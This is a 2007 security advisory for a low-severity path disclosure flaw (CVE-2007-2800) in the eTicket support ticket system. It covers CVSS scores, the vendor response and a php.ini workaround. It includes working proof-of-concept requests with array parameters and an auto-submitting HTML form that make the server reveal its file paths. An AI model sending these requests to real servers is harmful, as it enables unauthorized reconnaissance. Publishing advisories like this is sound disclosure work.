netVigilance Security Advisory #30 eTicket version 1.5.5 Path Disclosure Vulnerability Description: eTicket is an electronic (open source) support ticket system based on osTicket, that can receive tickets via email (pop3 or pipe) and a web-based form, as well as manage them using a web interface. External References: Mitre CVE: CVE-2007-2800 NVD NIST: CVE-2007-2800 OSVDB: 34785 Summary: eTicket is an electronic (open source) support ticket system based on osTicket. A security problem in the product allows attackers to gather the true path of the server-side script. Advisory URL: http://www.netvigilance.com/advisory0030 Release Date: 06/27/2007 Severity: Risk: Low CVSS Metrics: Access Vector: Remote Access Complexity: Low Authentication: Not-required Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Impact Bias: Normal CVSS Base Score: 2.3 Target Distribution on Internet: Low Exploitability: Functional Exploit Remediation Level: Workaround Report Confidence: Confirmed Vulnerability Impact: Attack Host Impact: Path disclosure SecureScout Testcase ID: TC 17960 Vulnerable Systems: eTicket version 1.5.5 (new version 1.5.5.1 is also vulnerable) Vulnerability Type: Program flaws - The product scripts have flaws which lead to Warnings. Vendor: HM2K Vendor Status: HM 2K from eTicket got the Draft advisory on 21 May 2007 and got extensive support in how to fix the security problems on 23 May 2007 and 28 May 2007. In HM 2K's own words HM 2K "lost interest" and HM 2K "seriously found it too difficult to orchestrate what you [netVigilance] were asking from me [HM 2K], so I just did what I thought was best.". netVigilance's tests show that version 1.5.5.1 is also vulnerable. There currently is no official fix for this advisory. Workaround: Disable warning messages: modify in the php.ini file following line: display_errors = Off. Example: REQUEST: http://[TARGET]/[PRODUCT FOLDER]/index.php?name[]=1 OR http://[TARGET]/[PRODUCT FOLDER]/index.php?email[]=1 OR http://[TARGET]/[PRODUCT FOLDER]/index.php?phone[]=1 OR http://[TARGET]/[PRODUCT FOLDER]/index.php?subject[]=1 OR (available for version 1.5.5 and also for new version 1.5.5.1) Make file (example.html) with the next content: " <html> <body onLoad="document.forms(0).submit();"> <form action="http://[TARGET]/[PRODUCT FOLDER]/index.php" method="POST"> <input type="hidden" name="name[]" value="1"> <input type="hidden" name="email[]" value="1"> <input type="hidden" name="phone[]" value="1"> <input type="hidden" name="subject[]" value="1"> </form> </body> </html> " Then load it in any web browser. REPLY: <b>Warning</b>: htmlspecialchars() expects parameter 1 to be string, array given in <b>[DISCLOSED PATH][PRODUCT FOLDER]\inc\open_form.php</b> on line <b>[18 OR 26 OR 31 OR 51 OR 55]</b><br /> Credits: Jesper Jurcenoks Co-founder netVigilance, Inc www.netvigilance.com
